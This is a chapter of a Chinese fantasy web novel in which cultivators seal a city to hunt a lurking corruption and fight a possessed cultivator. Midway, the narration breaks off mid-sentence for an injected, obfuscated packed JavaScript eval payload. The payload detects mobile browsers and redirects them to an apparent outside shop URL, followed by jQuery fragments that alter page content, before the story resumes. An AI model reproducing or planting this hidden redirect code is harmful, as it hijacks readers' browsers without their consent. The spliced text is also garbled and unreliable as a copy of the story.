昨日在药庐三人商议定策，祁问越提出两种路线。


    “此事也简单，不考虑那些琐碎枝节，说到底无非是暗访与明查。”祁问越手执玉简轻敲桌案问紫离，“你能探测多远范围？”


    “不知，上次探查整个城东坊市尚有余力。”


    迟枫展开地图：“整座归垣城，约莫有三十个坊市那么大，紫离，你伤势未愈，不如随祁先生暗中探访……”


    紫离面容沉静，斩钉截铁：“速战速决更加稳妥。”


    “你能行？”祁问越目光怀疑扫视她一圈。


    早已习惯他的阴阳怪气，紫离不以为意：“大宗师，我的身体现在接触灵气是否有碍？”


    她已修养四月有余，离半年之期所差不远。


    祁问越眯眼笑道：“倒是无碍，只不过会稍有不适。”


    ……


    紫离回忆昨日细节，再对照眼前画面。


    与想象中不同，控制着整座城池运转的议事大厅并不庄严肃穆，反而颇为吵嚷，迟枫坐于上首，单手支颐听下方主事、幕僚和巡卫队长们各抒己见。


    谁都有道理，就是无法说服其他人。


    祁问越进门便先声夺人：“诸位，可商议出办法？”


    厅内众人霎时一静。


    迟枫眼睛亮起，在众人面前做足姿态：“祁先生来得正好，诸位各执一词，正需祁先生高见。”


    众人都认识祁问越，也无人敢挑衅第六境巅峰修士威严，纷纷闭口等待他的意见。


    谁知祁问越开口便是石破天惊：“封城，重兵清剿。”


    主管民生的主事立即出言反驳：“祁先生，归垣城每日往来修士足有上千人，一旦彻底封锁，不出三日，城内必先自乱！”


    “是啊。”其下众多主事纷纷附和，“祭典临近，此时贸然封城，每日会损失多少灵铢？”


    “只怕到时魇煞未除，人祸先起！”


    祁问越冷哼一声，周身威压荡开，将众人压得喘不过气来：“若是此时不解决，待到昭神祭时祸乱爆发，你们……”


    他眼神横扫，一一掠过在场之人。


    “谁能担责？”


    众人顿时息声，他言下之意分明，现在由他来担责，尔等还有什么不满！


    有祁问越强势作保，又有迟枫鼎力支持，众主事纵然有意见也不敢再明说，转而商讨具体措施。


    跟在祁问越身后，听他三言两语压下反对意见，紫离暗暗思索，看起来似乎不难？


    “要不是你，我可不会行如此激进之策。”祁问越私下传音紫离，“可有把握？”


    紫离郑重点头，对她有威胁的东西，自然要想尽办法铲除。


    “咚！咚！咚！”


    城主府外巨钟声响传遍全城，修士不论是在外行走交易，还是在室内静修，都听到城主府传讯：


    今于归垣城内探得魇煞气息潜伏，虽尚未成害，然事涉重大，为防蔓延，请六境以下道友暂归居所，邀第六境以上同道至城主府共同清查。


    一阵骚乱过后，大多数人依令而行，街道上空空荡荡，城门处有修士想匆匆离开也被巡卫客气堵回去，他们甚至还在抓获了几名举止异样的低阶修士。


    城中阵法缓缓升起，将偌大的归垣城笼罩在内。


    城主府外广场上，十二道长虹陆续破空而来，主事拿着玉简账册念念有词：“其中五人长居归垣城，七人因昭神祭前来坊市交易，还有两人未至。”


    “不必再等，”祁问越振袖朝众人作揖，“多谢诸位来此襄助……”


    又拿出前日收剿带有魇煞气息的物件，揭开层层封印向众人展示，痛陈利害，与平日作态完完全全是两幅面孔。


    紫离隐于幕篱轻纱之下，脸色微沉。


    “……诸位道友事后皆可得两枚六阶丹药作为酬劳。”祁问越再一番礼遇施恩，众人连道应尽之责，受之有愧。


    紫离冷眼旁观，有些人眼底的渴望几乎掩饰不住，却偏要做出推辞之态，也难怪迟枫不喜这些事务。


    “我有一件秘宝，可探测魇煞气息，只是范围有限。”祁问越一手持罗盘，一手展开掌心悬浮的归垣城地图，向众人讲述他的计策，“请诸位随巡卫分别监察各方，待我逐一探测。若有异动者，可当场拿下。”


    这所谓秘宝，自然是紫离。


    众人散开各自就位，祁问越沉声问：“如何？”


    “这十二人中，并无异样。”紫离确定道。


    “我在你身上施了障眼法，没人会注意你，接下来可就靠你了。”


    “自不会让大宗师失望。”紫离领受他这份好意——对于现在的她来说，让人知道探知魇煞的能力，绝非幸事。


    以城主府为中心，划分出三十二区，相领两区就有一名第六境修士镇守。除了召集来的十二名散修之外，城主府主事和巡卫中也有七名第六境修士。


    大多数人资质底蕴自然是不及迟枫，只有初期或中期境界，但震慑城中四境五境修士已然足够。


    祁问越带紫离从最重要的四处阵法核心开始，紫离悄然催动妖瞳。


    单凭神识驱动绝不可能完成三十二处探查，昨日顾知遥给的灵铢便派上用场。紫离引动灵铢灵气汇聚于眼瞳，盈盈紫意映衬得面容妖异非常，却无人得见。


    祁问越那句“稍有不适”说得轻巧，灵气流过经脉，产生一种拉扯与针刺混合的锐痛，几乎让紫离站立不稳。


    好在并不影响妖瞳发挥作用。


    哪怕从出生便拥有这双眼瞳，紫离仍然不知它极限在哪里。


    天地在她眼中如同蒙上一层雾霭，各色灵气交织，她甚至能看到这座城池基底的阵纹流动。


    紫离目光湛湛，搜寻可能的不详踪迹。


    片刻后，她摇头：“下一处。”


    直到第四处，祁问越正手持罗盘在众人面前摆出认真探测的架势，两名第六境修士不知从何处现身，暴起攻击巡卫守护的阵法核心，正是归垣城主事口中未至的两人。


    其余方位修士正要来援，却被祁问越喝止：“镇守原地！”


    祁问越抬手下压，两人生生被按在原地，膝盖弯曲，骨骼发出不堪重负的嘎吱声响，脸上满是惊恐，约莫他们也没想到同一大境界，修为竟会如此悬殊。


    这是……域？


    还是单独施加在那两人身上的域。


    迟枫曾说过，第六境会凝聚“域”之雏形，然而也有极少数天纵之才，在第六境就能拥有真正的“域”。


    连明宸都未曾做到，没想到祁问越这个医修居然有。


    紫离有些庆幸，她炸他丹房时并未与之动手。收敛心神，紫离摇头向祁问越示意：“这两人身上并无魇煞气息，恐怕有诈。”


    是与之无关，还是……调虎离山？


    念头刚起，靠近城墙方位便传来异动，伴随阵法被冲击的嗡鸣。


    祁问越袖袍一卷，带着紫离如流光般疾驰而去，两名冲击阵法的修士摊在原地，被巡卫扣押。


    “道友，你如此修为，何必躲躲藏藏。”迟枫早有准备，靠着阵法拖延成功截下那名灰衣男子。


    城中竟还藏了一名与她实力不相上下的修士，迟枫心火上涌，持枪朝他刺去。


    紫离与祁问越赶到时，二人已交锋数次。


    两人势均力敌，闻声而来的三名六境修士在旁插不上手，能做的只有化解他们攻击余波，以免伤及无辜。


    灰衣男子初看似乎并无异常，紫离努力运转妖瞳，才从他身上看出一丝游走在经脉灵力间的阴影，恐怕再高一个境界她就难以看破。


    这人给她的感觉……竟与苏延相似！


    那一丝阴影受妖瞳刺激，猛然暴涨，灰衣男子仿佛失去神智，招式变为简单的劈砍，威力却更为惊人。


    身上魇煞气息，清晰展现在迟枫和祁问越眼前。


    他一击震退迟枫，朝紫离杀来。


    紫离只觉一股阴寒刺骨的杀意锁定自己，那灰衣男子双目赤红，周身灵力狂暴，以燃烧生命为代价强行提升实力。


    “小心！”迟枫厉喝，一点寒芒从后洞穿其胸膛，灰衣男子恍若未觉，动作不停。


    竟与当日谷中尸骨一样，成了无知无觉的傀儡。


    祁问越厌恶地皱起眉：“定。”


    深青色领域展开困住灰衣男子，然而他身上魇煞气息分毫不减，人虽定在原地，却有丝丝黑雾脱体而出，顽强扑向紫离。


    煞雾亦激得紫离眼中紫芒愈盛，两种隐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056982|194375||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    秘力量隔空交锋，紫离只觉一种极度混乱危险的力量不受控制从眼底溢出——随之而来是紫离极为熟悉的、濒临死亡的战栗感。


    紫离迅速截断灵气，压制下妖瞳异动。


    那股力量太过强大，仅仅泄露半分就足以压制煞雾，灰衣男子身上的魇煞气息逐渐消散，只剩浅淡阴影。


    他周身阴影中扭曲成一张狰狞面孔，黑洞洞的眼睛正对上紫离，嘴角露出诡异微笑。


    而后骤然消失，原地只剩灰衣男子尸首。


    挑衅吗？


    现在，你才是猎物。


    紫离收敛气息，安安静静隐藏在祁问越身后。


    旁观众人只以为是祁问越出手将灰衣男子制服，纷纷恭维祁问越实力超群。


    没有理会众人，未能抓住活口将祁问越气得不轻，他冷声下令：“带回去，一寸一寸查！他身上未必没有线索。”


    虽然经历这一遭混乱，清查还是要继续。


    紫离探到第十六区，已有力不从心之感，她踉跄两步，险些栽到地上，迟枫连忙扶住她。


    此时也无需隐藏，迟枫便随他们一起行动。


    祁问越瞥见她幕篱下苍白的面容，原本习惯性脱口而出的讥讽咽了回去，递上一瓶丹药：“不行就先歇着。”


    “无碍。”紫离轻声回应，她厌恶那种不安之感。


    魇煞是害她失去修为的罪魁祸首，又如同附骨之疽追在她身后，方才对视那一眼，它的恶意毫无遮掩，那必然是她未来大敌。


    现在，她要让它在这座城池中不复存在。


    “不差这一时半刻。”迟枫掐诀施展结界，将紫离护在其中。


    紫离不再坚持，她倚靠在迟枫身上，身体适应灵气后刺痛感不再明显，反而是神识消耗太大，无以为继。


    “大宗师，我可不可以先修炼……”


    祁问越神情烦躁：“不行！你是想日后晋阶有碍还是重新废功？”


    “哪怕再次废功也无妨。”紫离受够这种无力之感。


    “紫离，你怎么可以这样乱来！”


    数月相处迟枫也足够了解紫离，她扶住她肩膀，撩起幕篱轻纱注视那双紫眸：“你相信我，归垣城很安全，我们都会保护你。”


    “呵！”祁问越就没那么温和，指着紫离骂道：“你以为废功没有损伤？你两度换血，又经历废功，根基已然损得不能再损，连凤凰血脉都快消磨殆尽，能治好你就够挑战我医术了……”


    真的很温暖啊。


    不论是迟枫难得细腻的关心，还是祁问越话语中的善意。


    紫离靠在迟枫肩上，任祁问越骂个痛快。


    他似乎不再讨厌她，只是这位大宗师实在奇怪，为何要将善意隐藏在刻薄言辞之下。


    神识恢复少许，紫离清点手中灵铢：“继续。”


    “要逞能随你，反正难受的不是我。”她的状态在祁问越眼中无所遁形。


    到最后，迟枫半扶半抱带着紫离隐藏在侧，紫离声音细如蚊蚋：“左前方，第三间……”再由迟枫传音祁问越。


    巡卫闻令而动，依言搜出潜藏魇煞气息的法器，整个过程快得令人恍惚。在旁人看来，是祁问越手中罗盘指明方向，巡卫训练有素，尽职尽责。


    祁问越瞥一眼紫离状态，手中用来装模做样的罗盘突然发出脆响，表面裂开数道裂纹，他恰到好处露出心痛之色：“唉，这秘宝是自古之秘境所得，我亦未曾破解它探测魇煞之能，当真是可惜！”


    声音传遍整条街道，确保每个人都听得清清楚楚。


    也算是彻底绝了众人觊觎之心。


    “最后这片区域，便劳烦巡卫搜查。”祁问越对着受邀而来的散修，“辛苦诸位道友相助……”


    “我们继续。”紫离贴在迟枫耳畔低声催促。


    见她一副不查完不罢休的模样，迟枫又气又急，劝阻的话都说尽了也终是拗不过她。


    背起紫离，两人走完最后一段路程。


    神识扫过归垣城每个角落，确认再无阴霾潜藏，紫离终于生出前所未有的安宁，疲惫如潮水将她淹没，脸埋在迟枫发间，紫离声音轻如梦呓：“……好了。”


    拥有足够安稳栖身的巢穴，她终于可以安心休息。